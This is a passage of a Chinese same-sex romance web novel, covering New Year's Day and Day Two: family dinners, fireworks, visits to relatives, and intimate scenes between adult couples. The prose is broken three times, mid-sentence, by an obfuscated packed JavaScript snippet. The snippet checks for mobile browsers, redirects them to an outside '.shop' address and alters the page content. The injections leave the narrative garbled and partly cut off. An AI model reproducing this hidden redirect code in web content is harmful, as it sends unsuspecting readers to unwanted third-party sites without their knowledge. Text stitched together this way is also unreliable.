“还有一小时。” “那就一小时。”周浩说,“和你一起。” 林屿没说话。 他把周浩往自己这边揽了揽,让他靠得更舒服。 电视里的小品演完了,主持人在串场。 周浩眼皮越来越沉。 “林屿。” “嗯。” “新年……快乐……” 声音越来越小。 林屿低头看他。 睡着了。 睫毛安静地覆着,嘴角还有一点笑,不知道在做什么好梦。 林屿看了一会儿。 然后他轻轻把周浩放倒在沙发上,给他盖上毯子。 自己去关了电视。 零点到了。 窗外传来密集的鞭炮声,新的一年正式到来。 林屿站在窗边,看着外面此起彼伏的烟火。 然后他走回沙发边,蹲下来。 看着周浩的睡颜。 “新年快乐。”他轻声说。 在他额头上落下一个吻。 周浩在睡梦中动了动,嘴角弯了一下。 林屿笑了。 他躺到沙发另一边,把周浩搂进怀里。 窗外烟火满天。 他怀里有他。 40. 大年初一·团圆 大年初一的早晨,陆知岩是被鞭炮声吵醒的。 不是那种小摔炮,是远处传来的、闷闷的、一阵一阵的轰鸣。有人在放开门炮。 他睁开眼,第一反应是低头看怀里的人。 鹿之言还在睡。 呼吸平稳,睫毛安静地覆着,靠在他胸口,像只倦懒的猫。 陆知岩没动。 他就这样躺着,听着窗外隐约的鞭炮声,看着鹿之言的睡颜。 看了很久。 手机震了。 【弟】:起了没? 【弟】:爸妈问你们什么时候到。 陆知岩单手回: 【哥】:刚醒,等会儿过去。 【弟】:好。 放下手机,他又看向鹿之言。 他的之言,睡着的时候最乖。 他忍不住凑过去,在他额头上亲了一下。 鹿之言动了动,没醒。 又亲一下。 这次鹿之言睁开眼。 眼神还有点涣散,茫然地看着他。过了几秒,焦距慢慢聚拢。 “……几点了?” “八点。”陆知岩说,“还早,再睡会儿。” 鹿之言看着他。 “你亲我干嘛?” “大年初一。”陆知岩理直气壮,“第一下亲,要留给最重要的人。” 鹿之言沉默了两秒。 “幼稚。” 但他没躲,反而往他怀里靠了靠。 陆知岩笑了,把他搂紧。 “之言,今天去爸妈那边吃饭。” “嗯。” “我爸做的红烧肉特别好吃。” “嗯。” “我妈说要给你包红包。” 鹿之言的睫毛动了动。 “不用——” “要的。”陆知岩打断他,“她等这一天,等了四年。” 鹿之言愣住了。 他看着陆知岩。 陆知岩的眼睛里,有一种他从未见过的光。 “之言。”他说,“欢迎回家。” 鹿之言的喉结动了动。 过了很久。 “……嗯。” 上午十点,陆沉远家。 陆爸爸在厨房忙活,陆妈妈在旁边打下手。油烟味和肉香味混在一起,飘得满屋子都是。 陆沉远在客厅陪鹿炽坐着。鹿炽有点紧张,手一直攥着衣角。 “别紧张。”陆沉远小声说。 “我没紧张……”鹿炽小声反驳。 陆沉远看着他攥得发白的指节,没说话。 门铃响了。 陆沉远去开门。 陆知岩站在门口,身后是鹿之言。 鹿之言今天穿了件深灰色大衣,里面是黑色高领毛衣,头发打理得很整齐。他手里拎着两盒礼品,表情平静,但陆沉远看见他的耳尖微微泛红。 “哥。”陆沉远让开路,“进来吧。” 陆知岩先进去,鹿之言跟在他身后。 客厅里,陆爸爸从厨房探出头。 “来了?” “爸。”陆知岩走过去,“新年好。” 陆爸爸点点头,目光落在他身后的鹿之言身上。 鹿之言顿了一下。 “叔叔好。”他说,“新年快乐。” 陆爸爸看着他。 看了几秒。 然后他笑了。 “好,好。”他走过来,拍拍鹿之言的肩,“进来坐,别客气。” 鹿之言愣了一下。 他以为……会有些尴尬,会有些审视的目光。 但没有。 陆爸爸的笑容很真诚,像等了他很久。 “之言来啦?”陆妈妈从厨房出来,手里还拿着锅铲,“快坐快坐!饿了吧?饭马上好!” 她走到鹿之言面前,拉住他的手。 “让阿姨看看。” 鹿之言站着没动。 陆妈妈看着他,眼眶有点红。 “瘦了。”她说,“比照片上瘦。” 鹿之言的喉结动了动。 “阿姨……” “以后常来。”陆妈妈拍拍他的手,“阿姨给你做好吃的。” 鹿之言低下头。 过了很久。 “……好。” 陆知岩站在旁边,看着这一幕,眼眶也有点酸。 他走过去,搂住鹿之言的腰。 “妈,别吓着他。” “我哪儿吓他了?”陆妈妈瞪他一眼,“我这是欢迎!” 陆知岩笑了。 “行行行,欢迎。” 鹿炽从沙发上站起来,走到哥哥身边。 “哥。” 鹿之言看着他。 鹿炽今天穿了件奶白色毛衣,头发软软的,眼睛亮亮的。看起来比平时精神很多。 “嗯。”鹿之言伸手,帮他理了理衣领,“吃饭了吗?” “还没。” “等会儿多吃点。” 鹿炽点头。 他看着哥哥,又看看陆知岩,再看看陆爸爸陆妈妈。 忽然觉得,这样真好。 年夜饭很丰盛。 红烧肉、糖醋排骨、清蒸鲈鱼、油焖大虾、炸春卷、四喜丸子,摆了满满一桌。还有饺子——陆妈妈包的,说是“元宝”,寓意财源广进。 陆爸爸开了一瓶茅台,给每个人倒了一杯——鹿炽和鹿之言的是饮料。 “来,”陆爸爸举起杯,“新的一年,大家都要好好的。” “新年快乐!” 碰杯,喝。 鹿之言抿了一口饮料,余光瞥见陆知岩正盯着他看。 “看什么?” “看你。”陆知岩说,“好看。” 鹿之言没理他。 但嘴角微微弯了一下。 鹿炽在旁边看着,小声对陆沉远说:“知岩哥又开始了。” 陆沉远点头。 “他一直这样。” 鹿炽想了想。 “我哥好像挺吃这套。” 陆沉远看了眼对面。 鹿之言正低头吃菜,陆知岩在旁边给他夹菜,一边夹一边说“这个好吃”“这个也好吃”。鹿之言没理他,但碗里的菜一直没少过。 陆沉远收回视线。 “是挺吃的。” 鹿炽笑了。 他低头继续吃,陆沉远也给他夹菜。 一家人,热热闹闹的。 吃完饭,陆妈妈端出水果和糖果。 “来来来,吃水果,吃糖。” 她走到鹿之言面前,从口袋里掏出一个红包。 “之言,新年快乐。” 鹿之言愣了一下。 “阿姨,这——” “拿着。”陆妈妈把红包塞进他手里,“你第一次来家里过年,必须拿着。” 鹿之言看着手里的红包,一时不知道说什么。 陆知岩在旁边说:“拿着吧,我妈准备了很久。” 鹿之言的喉结动了动。 “……谢谢阿姨。” 陆妈妈笑了。 她又走到鹿炽面前,也拿出一个红包。 “小炽,新年快乐。” 鹿炽受宠若惊:“阿、阿姨,我也有?” “当然有!”陆妈妈把红包塞给他,“你和之言都是好孩子,阿姨都喜欢。” 鹿炽眼眶酸了。 他低头看着手里的红包,用力点头。 “谢谢阿姨……” 陆沉远在旁边看着,心里软成一片。 晚上七点,天已经黑透了。 陆知岩提议去楼下放烟花。 “买了好几个大的,一直没放。”他说,“今晚正好。” 陆爸爸陆妈妈也下楼了,说要一起看。 楼下的空地上,陆知岩把烟花一个个摆开。 大的小的,圆筒的方盒的,堆了一地。 陆沉远帮他一起摆。鹿炽和鹿之言站在旁边,陆爸爸陆妈妈站在后面。 “先放哪个?”陆沉远问。 “那个最大的。”陆知岩指着最大的圆筒烟花,“开场要够劲。” 陆沉远点点头,把那个烟花搬到空地中央。 点燃引线,快步退回来。 “滋——” 引线燃尽。 “嘭!” 一颗光点冲天而起,在夜空中炸开。 金红色的火花散落,像一场金色的雨。 “哇——”鹿炽仰头看着,眼睛亮晶晶的。 第二颗,第三颗,第四颗。 红的,绿的,金的,紫的。 一朵接一朵,在夜空中绽放。 陆爸爸站在后面,看着烟花,又看看儿子们。 “长大了。”他说。 陆妈妈靠在他肩上,轻轻“嗯”了一声。 鹿之言也仰头看着。 他的侧脸被烟花的光映得明明灭灭,睫毛很长,在眼睑下投出淡淡的阴影。 陆知岩看着他。 “之言。” “嗯。” “好看吗?” “好看。” “我问的是你。”陆知岩说,“你好看。” 鹿之言转头看他。 烟花的余光里,陆知岩的眼睛很亮。 鹿之言看了他几秒。 “傻不傻。” “不傻。” 鹿之言没说话。 但他伸手,握住了陆知岩的手。 另一边,陆沉远和鹿炽也在看烟花。 鹿炽靠在陆沉远肩上,眼睛看着天空。 “陆沉远。” “嗯。” “明年还这样放。” “好。” “后年也放。” “好。” “每年都放。” 陆沉远低头看他。 烟花的光映在他脸上,眼睛亮亮的。 “每年都放。”他说,“和你一起。” 鹿炽笑了。 他踮起脚,在陆沉远嘴角亲了一下。 陆沉远愣了一下,然后把他搂进怀里。 烟花在他们头顶绽放。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271931|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的,绿的,金的,紫的。 每一朵都是新的开始。 晚上十点,陆爸爸陆妈妈先上楼休息了。 陆沉远和鹿炽也回了自己的房间。 客厅里只剩下陆知岩和鹿之言。 陆知岩坐在沙发上,鹿之言靠在他怀里。 电视里放着春晚重播,但谁也没看。 “之言。”陆知岩叫他。 “嗯。” “今天开心吗?” 鹿之言想了想。 “……开心。” 陆知岩笑了。 “我也是。” 他低头,在他额头上亲了一下。 鹿之言的睫毛动了动。 “陆知岩。” “嗯。” “今晚……”他顿了顿。 陆知岩低头看他。 “今晚什么?” 鹿之言沉默了几秒。 然后他伸手,拉住陆知岩的衣领,把他拉近。 在他嘴角亲了一下。 陆知岩愣住了。 “之言你——” “今晚。”鹿之言说,声音很轻,但很清晰,“我想和你在一起。” 陆知岩看着他。 鹿之言的耳尖红透了,眼睛却很亮。 陆知岩看了他很久。 然后他把他抱起来。 鹿之言惊了一下,手忙脚乱地搂住他的脖子。 “陆知岩!” “嗯。” “你——” “回房间。”陆知岩说,“你想要的,都给你。” 鹿之言把脸埋进他肩窝。 没说话。 但嘴角弯了一下。 房间里没开灯,只有窗外的月光。 陆知岩把鹿之言放在床上,俯身看着他。 月光从窗帘缝隙漏进来,照在他脸上。鹿之言的睫毛很长,眼睛很亮,嘴唇微微抿着。 “之言。”陆知岩叫他。 “嗯。” “你知道我等这一天等了多久吗?” 鹿之言看着他。 “四年。”他说。 “不。”陆知岩摇头,“从十六岁到现在,十四年。” 鹿之言愣住了。 陆知岩低头,吻住他。 这个吻很深,很长。 鹿之言闭上眼睛,手攀上他的肩。 “陆知岩。”他在接吻间隙叫他。 “嗯。” “我爱你。” 陆知岩动作顿了一下。 他抬头看他。 月光下,鹿之言的眼睛很亮。 “再说一遍。”陆知岩说。 鹿之言的嘴角弯了一下。 “我爱你。” 陆知岩低头,把脸埋进他肩窝。 过了很久。 “……我也爱你。” 他的声音闷闷的,有一点哑。 鹿之言伸手,轻轻摸他的头发。 “傻子。” “嗯,你的傻子。” 鹿之言笑了。 窗外的月光很温柔。 另一边的房间里,鹿炽也在主动。 他洗完澡出来,陆沉远正靠在床头看手机。 鹿炽走过去,爬上床,直接跨坐在他腿上。 陆沉远愣住了。 “鹿炽?” “嗯。”鹿炽看着他,“今晚我想。” 陆沉远看着他。 鹿炽的头发还湿着,滴着水。他穿着他的睡衣——太大了,领口滑下去,露出半边锁骨。 陆沉远的喉结动了动。 “你想什么?” 鹿炽脸红了,但还是看着他。 “想你。”他说,“想你……那个我。” 陆沉远看着他。 看了很久。 然后他伸手,把他搂进怀里。 “鹿炽。” “嗯。” “你知道你在说什么吗?” “知道。”鹿炽说,“我想和你在一起。” 他顿了顿。 “每天,每夜,每时每刻。” 陆沉远的心跳漏了一拍。 他低头,吻住他。 这个吻很深,很长。 鹿炽闭上眼睛,手抓着他的衣襟。 “陆沉远。”他叫他。 “嗯。” “我爱你。” 陆沉远动作顿了一下。 然后他把他搂得更紧。 “……我也爱你。” 窗外月光如水。 这个夜晚很长。 但他们有一辈子。 凌晨两点,陆知岩还没睡。 他搂着鹿之言,看着他的睡颜。 他的之言,睡着的时候最乖。 睫毛安静地覆着,呼吸平稳,嘴角微微弯着,不知道在做什么好梦。 陆知岩低头,在他额头上亲了一下。 “新年快乐。”他轻声说。 鹿之言在睡梦中动了动,往他怀里靠了靠。 陆知岩笑了。 41. 屿浩·大年初一 大年初一的早上,周浩是被阳光晃醒的。 不是闹钟,不是鞭炮,是窗帘没拉严,一道阳光正正好好照在他脸上。 他眯着眼翻了个身,伸手去摸手机。 摸到了。 八点十三分。 他盯着屏幕看了三秒,然后猛地坐起来。 大年初一! 今天要去林屿家拜年! 不对——今天两家要一起吃饭!! 他昨晚在林屿家守岁,守到一半睡着了,后来被林屿抱到床上。现在他躺在林屿房间的床上,林屿不在身边。 周浩揉了揉眼睛,下床走出房间。 客厅里,林妈妈正在包饺子。林屿坐在旁边帮忙,林爸爸在看电视。 “周浩醒了?”林妈妈抬头看他,“快去洗脸,等会儿吃早饭。” “阿姨新年快乐!”周浩先拜年,“叔叔新年快乐!” 林爸爸点点头,林妈妈笑了。 “快乐快乐,快去洗吧。” 周浩跑去卫生间,洗漱完出来,林屿已经给他盛好饺子了。 “吃。” 周浩坐下,看着碗里胖乎乎的饺子。 “你包的?” “嗯。”林屿说,“和你包的那些一起煮的。” 周浩低头看了看。 确实有几个特别胖的,一看就是他包的。 他夹起一个胖饺子,咬一口。 白菜猪肉馅,很香。 “好吃!”他说。 林屿看着他。 “我包的还是你包的?” 周浩愣了一下,然后笑了。 “都好吃。” 林屿的嘴角微微弯了一下。 吃完早饭,林妈妈开始准备午饭。 今天中午,周浩的父母要过来,两家人一起吃饭。 周浩有点紧张。 “林屿,”他小声说,“我妈做饭不好吃怎么办?” “没事。”林屿说,“我妈做饭好吃。” “那万一他们聊不来怎么办?” “能聊。”林屿说,“我爸话少,你爸话多,正好互补。” 周浩想了想,觉得有道理。 “那我妈呢?” “你妈和我妈,”林屿看着他,“都是妈,肯定能聊。” 周浩笑了。 他凑过去,在林屿脸上亲了一下。 “你怎么什么都知道?” 林屿愣了一下,然后耳尖红了。 “……猜的。” 十一点,门铃响了。 周浩去开门。 门外站着周爸爸和周妈妈,手里拎着大包小包。 “爸!妈!” 周浩扑上去抱住他们。 周妈妈被他撞得退了一步,笑着拍他。 “好了好了,多大了还撒娇。” 周浩松开他们,回头喊:“林屿!我爸妈来了!” 林屿从厨房出来,站在玄关。 “叔叔阿姨好,新年快乐。” 周妈妈看着他,眼睛亮了。 “哎呀,这就是林屿吧?真俊!” 周浩在旁边得意地说:“那当然,我挑的。” 周妈妈瞪他一眼,然后笑着对林屿说:“小屿啊,阿姨一直想见你。周浩天天在家念叨你。” 林屿愣了一下,看向周浩。 周浩脸红了。 “妈!你说什么呢!” “实话实说嘛。”周妈妈笑着往里走。 林妈妈从厨房出来,两个妈妈对上眼。 “哎呀,你就是周浩妈妈吧?快坐快坐!” “你好你好,新年快乐!” 两个妈妈很快就聊上了。 周爸爸和林爸爸在沙发上坐下,一个递烟,一个接过,也开始聊。 周浩站在客厅中间,看看这边,看看那边,有点懵。 林屿走到他身边,握住他的手。 “没事。”他轻声说,“挺好。” 周浩看着他。 林屿的表情很平静,但眼神里有一点笑意。 周浩忽然就不紧张了。 “嗯。”他握紧林屿的手,“挺好。” 午饭很丰盛。 林妈妈和周妈妈一起做的,红烧肉、糖醋排骨、清蒸鲈鱼、油焖大虾,还有林妈妈拿手的四喜丸子和周妈妈拿手的炸春卷。 周浩看着满桌菜,眼睛都直了。 “这也太多了……” “不多不多!”周妈妈说,“过年嘛,就得丰盛!” 林屿在旁边给他夹菜。 周浩低头吃,吃得很香。 周妈妈看着林屿给儿子夹菜,悄悄碰了碰周爸爸的胳膊。 “你看,这孩子多会疼人。” 周爸爸点点头。 “挺好。” 周浩听见了,脸红了。 他抬头看林屿。 林屿表情平静,继续给他夹菜。 但耳尖红了一点。 吃完饭,两个妈妈去厨房收拾。 两个爸爸在客厅喝茶聊天。 周浩和林屿坐在阳台的小板凳上,晒太阳。 “林屿。” “嗯。” “你紧张吗?” 林屿想了想。 “有一点。” “你也有紧张的时候?” “嗯。”林屿看着他,“你爸妈来,当然紧张。” 周浩愣了一下。 “你紧张什么?” “怕他们不喜欢我。” 周浩看着他。 林屿的表情很平静,但眼睛里的光微微闪烁。 周浩忽然伸手,捧住他的脸。 “林屿。” “嗯。” “他们喜欢你。”他说,“特别喜欢你。” 林屿看着他。 “我妈一进门就夸你俊。”周浩说,“我爸刚才一直看你,是在想‘这小伙子真不错’。” 他顿了顿。 “而且,”他笑了,“我喜欢你,他们就会喜欢你。” 林屿看着他。 阳光从窗外照进来,落在周浩脸上,把他整个人镀成金色。 林屿看了很久。 然后他凑过去,在他嘴角亲了一下。 周浩愣住了。 “林屿你——” “谢谢。”林屿说。 周浩脸红了。 他低下头,过了很久。 “……不客气。” 下午三点,两个爸爸约着去楼下下棋。 两个妈妈去逛商场,说要买点东西。 家里只剩下林屿和周浩。 周浩躺在沙发上,看着天花板。 “林屿。” “嗯。” “晚上还放鞭炮吗?” “放。” “放哪个?” “五千响那个。”林屿说,“今天是大年初一。” 周浩眼睛亮了。 “好!” 晚上七点,天黑了。 林屿和周浩拎着鞭炮下楼。两个妈妈站在阳台上看,两个爸爸在楼下等着。 还是那个小广场。 林屿把五千响的鞭炮展开,一圈一圈,像红色的蛇。 周浩站在旁边,又兴奋又紧张。 “林屿!” “嗯。” “你来点!” 林屿走过去,蹲下来。 他回头看了一眼周浩。 周浩站在几米外,捂着耳朵,眼睛亮亮地看着他。 林屿的嘴角弯了一下。 他点燃引线。 “滋——” 快步退到周浩身边,握住他的手。 “嘭!” 第一声炸响。 然后是密集的“噼里啪啦”,一声接一声。 红色的纸屑飞溅,在夜色里翻腾。 周浩捂着耳朵,眼睛死死盯着那片火光。 林屿站在他旁边,也看着。 火光映在他们脸上,明明灭灭。 五千响放了很久。 最后一响落下,四周突然安静了。 硝烟的味道,满地的红纸屑。 周浩放下手,长长地呼出一口气。 “放完了……” “嗯。”林屿看着他,“开心吗?” 周浩转头看他。 月光下,林屿的眼睛很亮。 周浩忽然踮起脚,在他嘴角亲了一下。 “开心!”他说,“特别开心!” 林屿愣了一下。 然后他伸手,把他拉进怀里。 周浩靠在他怀里,听着他的心跳。 “林屿。” “嗯。” “明年还这样放。” “好。” “后年也放。” “好。” “每年都放。” 林屿低头,在他发顶亲了一下。 “每年都放。” 周浩笑了。 他把脸埋进他胸口,抱紧他。 两个爸爸站在不远处,看着这一幕。 周爸爸笑了笑,拍拍林爸爸的肩。 “咱们上去吧,让他们年轻人待着。” 林爸爸点点头。 “好。” 阳台上,两个妈妈也在看。 周妈妈眼眶有点红。 “真好。”她说。 林妈妈点点头。 “是挺好的。” 晚上十点,周浩和林屿回到房间。 周浩先去洗澡,洗完出来,林屿正靠在床头看书。 他走过去,爬上床。 “林屿。” “嗯。” “今晚……” 他顿了顿。 林屿放下书,看着他。 “今晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271932|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?” 周浩脸红了。 他凑过去,在林屿嘴角亲了一下。 “今晚……”他说,“我想那个。” 林屿看着他。 “哪个?” 周浩急了。 “就是那个!那个!” 林屿看着他急得脸通红的样子,嘴角微微弯了一下。 “你说清楚。” 周浩瞪他。 “你故意的!” 林屿没说话,但眼睛里的笑意藏不住。 周浩气鼓鼓地看了他几秒。 然后他扑上去,把他按在床上。 “林屿!” “嗯。” “你学坏了!” “跟你学的。” 周浩噎住了。 他低头看着林屿。 林屿的眼睛很亮,里面有笑意,有温柔,还有一点别的什么。 周浩的心跳漏了一拍。 “林屿。”他轻声叫他。 “嗯。” “我爱你。” 林屿看着他。 看了很久。 然后他伸手,把他搂进怀里。 “我也爱你。”他在他耳边说。 周浩把脸埋进他肩窝。 “那……” “好。”林屿说。 周浩抬起头。 “你知道我想说什么?” “知道。”林屿看着他,“我也在想。” 周浩愣住了。 “你、你也想?” “嗯。”林屿说,“从你刚才洗完澡出来,就开始想。” 周浩脸红了。 “那你……” 林屿没让他说完。 他翻身,把他压在下面。 低头,吻住他。 窗帘没拉严,月光从缝隙漏进来。 周浩闭上眼睛,手攀上他的肩。 “林屿。”他在接吻间隙叫他。 “嗯。” “轻一点……” “好。” “但是也别太轻。” 林屿顿了一下。 然后他笑了。 “周浩。” “嗯。” “你怎么这么可爱。” 周浩把脸埋进枕头里。 “不许说……” 林屿没说话。 他只是吻他。 吻他的额头,他的眉心,他的鼻尖,他的嘴唇。 很轻,很温柔。 周浩抓着他的衣襟,心跳很快。 “林屿。” “嗯。” “你……” “嗯?” 周浩咬了咬嘴唇。 “你进来吧。” 林屿看着他。 月光下,周浩的眼睛很亮,里面有期待,有紧张,还有一点勇敢。 林屿看了很久。 然后他低头,在他眼睛上亲了一下。 “好。” 这一夜很长。 周浩的声音断断续续,有时是呜咽,有时是求饶,有时是林屿的名字。 林屿很慢。 每一下都会问他“疼吗”“可以吗”“舒服吗”。 周浩被问得又羞又急。 “林屿!” “嗯。” “你能不能别问了……” 林屿顿了一下。 “嫌烦?” “不是……”周浩把脸埋进枕头里,“就是……太害羞了……” 林屿看着他。 周浩的耳朵红透了,耳尖都在抖。 林屿低头,在他耳朵上亲了一下。 “好。”他说,“不问了。” 后来的事,周浩记不太清了。 他只记得林屿的呼吸,记得他握着他的手,记得他在他耳边说“我爱你”。 很轻,很认真。 周浩哭了。 不是疼,是别的什么。 林屿吻掉他的眼泪。 “怎么了?” “没什么……”周浩声音闷闷的,“就是……开心。” 林屿看着他。 “我也是。” 夜深了。 他们并排躺着,手还握在一起。 周浩看着天花板,忽然笑了。 “林屿。” “嗯。” “以后每年都这样。” “好。” “每年都一起过年。” “好。” “每年都……”他顿了顿,“每年都做。” 林屿偏头看他。 “好。” 周浩笑了。 他把脸埋进林屿肩窝,闭上眼睛。 “林屿。” “嗯。” “我爱你。” 林屿愣了一下。 然后他把他搂紧。 “……我也爱你。” 42. 大年初二·走亲戚 大年初二的早上,陆知岩是被闹钟吵醒的。 不是那种温柔的、渐进的闹钟,是他昨晚特意设的——七点整,最刺耳的那种。 他睁开眼,盯着天花板,脑子还是一片混沌。 昨天太累了。 年夜饭、放烟花、守岁、还有晚上的……活动。 他低头看了眼怀里的人。 鹿之言还在睡,呼吸平稳,靠在他胸口,一动不动。 陆知岩舍不得动。 但今天必须动。 因为今天是大年初二。 走亲戚的日子。 他轻轻叹了口气,在鹿之言额头上亲了一下。 “之言。”他轻声叫他,“起床了。” 鹿之言没动。 “之言,今天要去姑姑家。” 鹿之言的睫毛动了动。 “还有舅舅家,姨妈家,表姐家……” 鹿之言睁开眼。 眼神还有点涣散,茫然地看着他。 “……几家?” 陆知岩想了想。 “五家。” 鹿之言的眉头皱了一下。 “五家?” “嗯。”陆知岩说,“过年嘛,亲戚多。” 鹿之言沉默了三秒。 然后他闭上眼睛,往他怀里又靠了靠。 “再睡五分钟。” 陆知岩笑了。 “好。” 八点整,陆沉远的车停在楼下。 鹿炽坐在副驾驶,手里拿着一个保温杯,里面是热豆浆。他今天穿了件红色毛衣,衬得脸白白的,眼睛亮亮的。 “哥他们下来了吗?”鹿炽问。 陆沉远看了眼手机。 “刚发消息,说马上。” 话音刚落,陆知岩和鹿之言从单元门走出来。 鹿之言今天穿了件深灰色大衣,围巾系得整整齐齐。但他眼下有一点淡淡的青黑,明显没睡够。 鹿炽看见哥哥,愣了一下。 “哥,你没睡好?” 鹿之言的睫毛动了动。 “……还好。” 陆知岩在旁边笑了。 “昨晚有点累。” 鹿之言看了他一眼。 陆知岩立刻收敛。 “走吧走吧,上车。” 两辆车,一前一后,驶入早高峰的车流。 第一家是姑姑家。 姑姑住城东,老小区,六楼没电梯。 陆知岩爬楼的时候,一直在喘。 “姑姑怎么住这么高……” “你小时候天天爬。”陆沉远在后面说,“还说六楼好,安静。” “那是小时候。”陆知岩回头瞪他,“现在老了。” 鹿之言在旁边,嘴角微微弯了一下。 陆知岩看见了。 “之言你笑什么?” “没什么。”鹿之言面无表情,“就是觉得你挺可爱。” 陆知岩愣住了。 可爱? 鹿之言说他可爱? 他还没反应过来,姑姑家的门开了。 “哎呀,知岩来啦!”姑姑站在门口,笑容满面,“快进来快进来!” 陆知岩被拉进去,来不及细想。 客厅里已经坐了好几个人。姑父、表姐、表姐夫,还有两个小孩——表姐的儿子和女儿,一个五岁,一个三岁。 “新年快乐新年快乐!”陆知岩开始拜年。 鹿之言跟在后面,有点拘谨。 “这是之言吧?”姑姑拉住他的手,“早就听知岩说过,今天总算见到了!” 鹿之言的耳尖微微泛红。 “姑姑好。” “好好好!”姑姑拉着他在沙发上坐下,“快坐快坐,别客气!” 陆沉远和鹿炽也进来了,又是一轮拜年。 两个小孩躲在妈妈身后,偷偷看他们。 鹿炽看见那两个小孩,眼睛亮了亮。 他蹲下来,对他们招招手。 “过来,哥哥给你们发红包。” 两个小孩对视一眼,慢慢走过去。 鹿炽从口袋里掏出两个红包,一人一个。 “新年快乐。” 小女孩接过红包,奶声奶气地说:“谢谢哥哥。” 小男孩也跟着说:“谢谢哥哥。” 鹿炽笑了。 他伸手摸了摸他们的头。 “乖。” 陆沉远在旁边看着,心里软成一片。 姑姑张罗着端茶倒水,表姐和表姐夫在厨房忙活。客厅里热闹起来,大人说话,小孩跑来跑去。 陆知岩被姑父拉着聊天,问工作,问生活,问什么时候结婚。 “快了快了。”他笑着说,“明年就办。” 鹿之言在旁边听见了,睫毛动了动。 没说话。 但嘴角微微弯了一下。 陆沉远被表姐夫拉着聊天,问他和鹿炽的事。 “在一起了?”表姐夫小声问。 “嗯。” “家里人知道?” “知道。”陆沉远说,“昨天一起吃的年夜饭。” 表姐夫拍拍他的肩。 “那就好。” 陆沉远点点头。 他看向鹿炽。 鹿炽正被两个小孩围着,一人拉他一只手,要看他手机里的照片。他蹲在那儿,耐心地给他们翻,脸上带着笑。 陆沉远看了很久。 聊了一个多小时,姑姑又端出水果和点心。 “来来来,吃水果,吃点心,别客气!” 鹿之言被塞了一碗桂圆红枣汤,说是“补气血”。 他低头喝了一口,甜的。 “好喝吗?”陆知岩凑过来问。 “……嗯。” 陆知岩笑了。 他把自己那碗也递过来。 “那这碗也给你。” 鹿之言看他。 “你不喝?” “你喝。”陆知岩说,“你比我需要补。” 鹿之言没说话。 但他把两碗都喝了。 第二家是舅舅家。 舅舅家住在城西,是个大平层,装修得很气派。 一进门,舅妈就迎上来。 “哎呀,知岩来啦!沉远也来啦!快进来快进来!” 她看见鹿之言和鹿炽,眼睛亮了。 “这就是之言和小炽吧?真俊!” 鹿之言点点头:“舅妈新年好。” 鹿炽也跟着说:“舅妈新年好。” “好好好!”舅妈拉着他们往里走,“快坐,舅妈给你们拿红包!” 客厅里坐着好几个人。舅舅、表弟、表弟的女朋友,还有几个远房亲戚。 又是一轮拜年。 鹿之言被安排坐在沙发上,旁边是表弟的女朋友。女孩很热情,一直跟他聊天。 “鹿医生,听说你是精神科的?” “嗯。” “那你们平时工作累吗?” “还好。” “我有个朋友最近心情不太好,想咨询一下……” 鹿之言认真听她说,偶尔给一点建议。 陆知岩在旁边看着,心里软软的。 他的之言,就是这样的人。看起来冷,但其实比谁都温柔。 表弟凑过来,小声问陆知岩:“哥,嫂子是医生?” 陆知岩点点头。 “精神科?” “嗯。” “那你们吵架的时候,他用专业知识分析过你吗?” 陆知岩愣了一下。 “没有。” “那他怎么治你?” 陆知岩想了想。 “他不用治。”他说,“他在就行。” 表弟愣了一下,然后竖起大拇指。 “哥,你行。” 陆知岩笑了。 另一边,陆沉远被舅舅拉着喝茶。 舅舅问他工作,问他生活,问他和鹿炽的事。 “那孩子挺好的。”舅舅说,“看着就乖。” 陆沉远点点头。 “嗯,他特别好。” 舅舅看着他。 “你小子,以前从来没见你这样。” 陆沉远愣了一下。 “哪样?” “这样……”舅舅比划了一下,“就是那种,一提起谁,眼睛就亮。” 陆沉远没说话。 但他想起刚才鹿炽蹲着给小孩看手机的样子,嘴角微微弯了一下。 舅舅看见了,笑了。 “行了,不用说了。” 在舅舅家待了一个多小时,又吃了顿饭。 出来的时候,已经下午两点了。 陆知岩靠在车边,揉了揉太阳穴。 “还有三家。” 鹿之言看着他。 “累了?” “有点。”陆知岩老实说,“你呢?” 鹿之言想了想。 “……还好。” 陆知岩看着他。 鹿之言的脸色确实还好,甚至比早上精神了一点。 “你怎么不累?” 鹿之言看了他一眼。 “在医院,比这累多了。” 陆知岩愣了一下。 然后他伸手,把他搂进怀里。 “那以后过年,”他说,“我累,你休息。” 鹿之言的睫毛动了动。 “不用。” “为什么?” “你累的时候,”鹿之言说,“我陪你。” 陆知岩看着他。 鹿之言的耳尖微微泛红,但眼睛很亮。 陆知岩看了很久。 然后他低头,在他额头上亲了一下。 “好。” 第三家是姨妈家。 第四家是表姐家。 第五家是堂哥家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 